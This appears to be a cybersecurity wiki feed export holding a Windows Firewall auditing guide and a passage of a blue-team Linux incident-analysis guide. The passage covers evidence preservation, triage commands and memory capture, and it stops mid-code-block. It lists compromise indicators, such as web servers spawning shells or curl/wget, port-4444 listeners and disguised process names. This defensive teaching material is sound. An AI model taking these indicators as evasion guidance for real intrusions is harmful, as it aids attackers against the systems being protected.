		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Firewall_Auditing&amp;diff=246"/>
		<updated>2026-10-02T03:47:14Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: Approved by FlyingShrimps: removing the submission notice and Pending review category&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!-- Migrated from https://cypat.guide/docs/windows/firewall/Firewall_Beginner (source: docs/windows/firewall/Firewall_Beginner.md) --&amp;gt;&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
Author(s): brody001301&lt;br /&gt;
&lt;br /&gt;
Last Updated: 07-06-2026&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== What is a firewall? ==&lt;br /&gt;
&lt;br /&gt;
A firewall is a system that monitors and controls incoming and outgoing network traffic based on a set of rules.&lt;br /&gt;
&lt;br /&gt;
Windows ships with a built-in firewall, officially called Windows Defender Firewall with Advanced Security, often referred to as WFAS, or simply &amp;amp;quot;Windows Firewall&amp;amp;quot;. Windows Firewall runs as a service in the background and filters traffic before it ever reaches the applications running on the system. See the services section to understand how Windows services run.&lt;br /&gt;
&lt;br /&gt;
== Why do we need to audit the firewall? ==&lt;br /&gt;
&lt;br /&gt;
A firewall is only as strong as its configuration. A firewall with no rules, overly permissive rules, or rules that were added by malware or a careless administrator can leave a system just as exposed as having no firewall at all. Issues commonly found during an audit include:&lt;br /&gt;
&lt;br /&gt;
* Rules that allow traffic from any address (&amp;amp;quot;Any&amp;amp;quot; or 0.0.0.0/0) when only a specific IP or subnet should be trusted&lt;br /&gt;
* Unnecessary inbound rules left enabled for programs or ports that are no longer in use&lt;br /&gt;
* Rules created by an installed application that are broader than the application actually needs&lt;br /&gt;
* The firewall being disabled entirely on one or more profiles (see below)&lt;br /&gt;
* Logging being disabled, meaning there is no record of blocked or allowed connections to investigate later&lt;br /&gt;
&lt;br /&gt;
Just like with services, the goal of a firewall audit isn&#039;t to lock everything down blindly. Some inbound and outbound rules are required for the system to function correctly (file sharing, remote management, Windows Update, etc.). The goal is to make sure every rule that exists is necessary, scoped as tightly as possible, and matches what the benchmark or policy for your environment requires.&lt;br /&gt;
&lt;br /&gt;
A great place to start is a STIG or CIS benchmark, which will typically have a section dedicated to firewall configuration and can tell you exactly what should be enabled, disabled, or configured a certain way. A link to at least one benchmark is in the References &amp;amp;amp; Further Reading section below.&lt;br /&gt;
&lt;br /&gt;
== How does the firewall work? ==&lt;br /&gt;
&lt;br /&gt;
=== Profiles ===&lt;br /&gt;
&lt;br /&gt;
Windows Firewall uses the concept of profiles to apply different rules depending on the type of network the computer is connected to. There are three profiles:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain&#039;&#039;&#039; - Applied automatically when the computer is connected to a network where it can authenticate to a domain controller (i.e. a corporate/managed network)&lt;br /&gt;
* &#039;&#039;&#039;Private&#039;&#039;&#039; - Applied to networks the user has manually marked as trusted, such as a home or small office network&lt;br /&gt;
* &#039;&#039;&#039;Public&#039;&#039;&#039; - Applied to untrusted networks, such as coffee shop Wi-Fi or any network not marked as Private&lt;br /&gt;
&lt;br /&gt;
Each profile can have its own independent settings: whether the firewall is on or off, the default action for inbound/outbound traffic, and which rules apply. This allows a laptop to be locked down tightly on Public networks but allow more traffic on its home Private network.&lt;br /&gt;
&lt;br /&gt;
=== Rules ===&lt;br /&gt;
&lt;br /&gt;
The firewall&#039;s behavior is defined by rules. Each rule can specify things like:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Direction&#039;&#039;&#039;: Inbound traffic coming into the machine, or Outbound traffic leaving the machine&lt;br /&gt;
* &#039;&#039;&#039;Action&#039;&#039;&#039;: Allow or block a connection&lt;br /&gt;
* &#039;&#039;&#039;Program&#039;&#039;&#039;: Restrict the rule to a specific executable&lt;br /&gt;
* &#039;&#039;&#039;Protocol and Ports&#039;&#039;&#039;: e.g. TCP port 443, UDP port 53&lt;br /&gt;
* &#039;&#039;&#039;Scope&#039;&#039;&#039;: Which local and remote IP addresses the rule applies to&lt;br /&gt;
* &#039;&#039;&#039;Profile&#039;&#039;&#039;: Which of the three profiles (Domain/Private/Public) the rule applies to&lt;br /&gt;
&lt;br /&gt;
By default, Windows Firewall blocks all unsolicited inbound traffic and allows all outbound traffic, then specific rules can be added on top of that baseline. Many built-in rules already exist for core Windows features such as file and printer sharing, remote desktop, network discovery, etc. Rules like these are typically disabled until the corresponding feature is turned on.&lt;br /&gt;
&lt;br /&gt;
=== Logging ===&lt;br /&gt;
&lt;br /&gt;
The firewall can be configured to log dropped packets, successful connections, or both, to a log file. This log is extremely valuable during an audit or an incident investigation, since it provides a record of what the firewall has actually been doing rather than just what it&#039;s configured to do. Logging is disabled by default and is one of the first things to check during an audit, since a benchmark will often require it to be turned on for both allowed and dropped connections.&lt;br /&gt;
&lt;br /&gt;
== Configuring the firewall ==&lt;br /&gt;
&lt;br /&gt;
There are multiple ways to view and configure the Windows Firewall. The main ones are outlined below. It is worth setting up a practice image or testing VM so you can get hands-on experience with each method before touching a production system.&lt;br /&gt;
&lt;br /&gt;
=== Windows Defender Firewall with Advanced Security (wf.msc) ===&lt;br /&gt;
&lt;br /&gt;
This is the GUI tool for configuring Windows Firewall in detail. To open it, search for &amp;amp;quot;Windows Defender Firewall with Advanced Security&amp;amp;quot; in the Windows search bar, or run &amp;lt;code&amp;gt;wf.msc&amp;lt;/code&amp;gt; from the Run dialog or a terminal. From &amp;lt;code&amp;gt;wf.msc&amp;lt;/code&amp;gt; you can:&lt;br /&gt;
&lt;br /&gt;
* View and edit Inbound Rules and Outbound Rules separately&lt;br /&gt;
* Create new rules using a guided wizard with options for program, port, predefined feature, or custom&lt;br /&gt;
* View and edit Connection Security Rules, such as those used for IPsec&lt;br /&gt;
* Check and change the profile level settings (Domain/Private/Public) by right-clicking the root node and selecting Properties, including whether the firewall is on, the default inbound/outbound action, and logging settings&lt;br /&gt;
&lt;br /&gt;
Double clicking any rule in the list brings up its Properties, letting you inspect or change its program, ports, scope, and profile in detail. This is generally the best tool for a manual, visual audit of exactly what rules exist and how they&#039;re scoped.&lt;br /&gt;
&lt;br /&gt;
=== netsh advfirewall ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;netsh&amp;lt;/code&amp;gt; is a long standing command line tool for network configuration, and its &amp;lt;code&amp;gt;advfirewall&amp;lt;/code&amp;gt; context is used specifically for the firewall. &amp;lt;code&amp;gt;netsh&amp;lt;/code&amp;gt; is run from cmd.exe or PowerShell. Some useful examples:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall show allprofiles&amp;lt;/code&amp;gt; - shows the state and default settings of all three profiles&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall firewall show rule name=all&amp;lt;/code&amp;gt; - lists every configured rule and its properties&lt;br /&gt;
* &amp;lt;code&amp;gt;netsh advfirewall set allprofiles logging droppedconnections enable&amp;lt;/code&amp;gt; - turns on logging of blocked connections for all profiles&lt;br /&gt;
&lt;br /&gt;
A full explanation of every &amp;lt;code&amp;gt;advfirewall&amp;lt;/code&amp;gt; option is out of scope for this article, but running &amp;lt;code&amp;gt;netsh advfirewall firewall show rule name=all help&amp;lt;/code&amp;gt;, or reading the documentation below, will give you a rundown of available options.&lt;br /&gt;
&lt;br /&gt;
=== PowerShell (NetSecurity module) ===&lt;br /&gt;
&lt;br /&gt;
PowerShell has a dedicated set of cmdlets for firewall management, found in the &amp;lt;code&amp;gt;NetSecurity&amp;lt;/code&amp;gt; module. These generally follow the pattern &amp;lt;code&amp;gt;*-NetFirewall*&amp;lt;/code&amp;gt;. Some of the most useful ones for auditing are:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallProfile&amp;lt;/code&amp;gt; - shows the settings of each profile, including whether it&#039;s enabled and its default inbound/outbound actions&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallRule&amp;lt;/code&amp;gt; - lists all configured rules; can be piped to &amp;lt;code&amp;gt;Get-NetFirewallPortFilter&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;Get-NetFirewallAddressFilter&amp;lt;/code&amp;gt; to see the specific ports or addresses tied to each rule&lt;br /&gt;
* &amp;lt;code&amp;gt;New-NetFirewallRule&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;Set-NetFirewallRule&amp;lt;/code&amp;gt; - create or modify rules&lt;br /&gt;
* &amp;lt;code&amp;gt;Get-NetFirewallRule -Enabled True -Direction Inbound&amp;lt;/code&amp;gt; - a quick way to filter down to just the active inbound rules, which is often the most important thing to check during an audit&lt;br /&gt;
&lt;br /&gt;
As with any PowerShell cmdlet, you can run &amp;lt;code&amp;gt;Get-Help [command] -Full&amp;lt;/code&amp;gt; for detailed usage and examples.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
=== References, Further Reading ===&lt;br /&gt;
&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall&lt;br /&gt;
* https://learn.microsoft.com/en-us/powershell/module/netsecurity/&lt;br /&gt;
* https://downloads.cisecurity.org/&lt;br /&gt;
* https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/best-practices-configuring&lt;br /&gt;
&lt;br /&gt;
[[Category:Windows Firewall|018]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=195</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=195"/>
		<updated>2026-09-24T22:21:53Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
Everything here is written from a blue team&#039;s point of view.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; Reading other people&#039;s logs and files without permission is not &amp;quot;just looking,&amp;quot; and may be illegal.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep a running note of every command you run and the time you ran it (in UTC). Your notes are how you (or someone else) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not a sign.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of its memory, or a copy of its disk. Each has strengths and blind spots, and a thorough investigation will always use more than one.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything stored on disk: logs, configuration, user files, timestamps. Examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (per user) || same || Commands a user typed (can easily be disabled or erased, so no command history doesn&#039;t always mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the suspect disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Collection tools.&#039;&#039;&#039; Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but additionally includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the clearest single indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory deserves a close look.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable; the process keeps running, but the file is gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) really is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;. Learn what the legitimate ones look like on your systems.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have many legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now deliberately restricts that, so you need a tool.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;; no kernel driver to load || Free; a single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Free; can write straight to the network. Also works on Android.&lt;br /&gt;
|-&lt;br /&gt;
| Commercial agents || Vendor agent brings its own driver || Useful if your organization already owns one.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
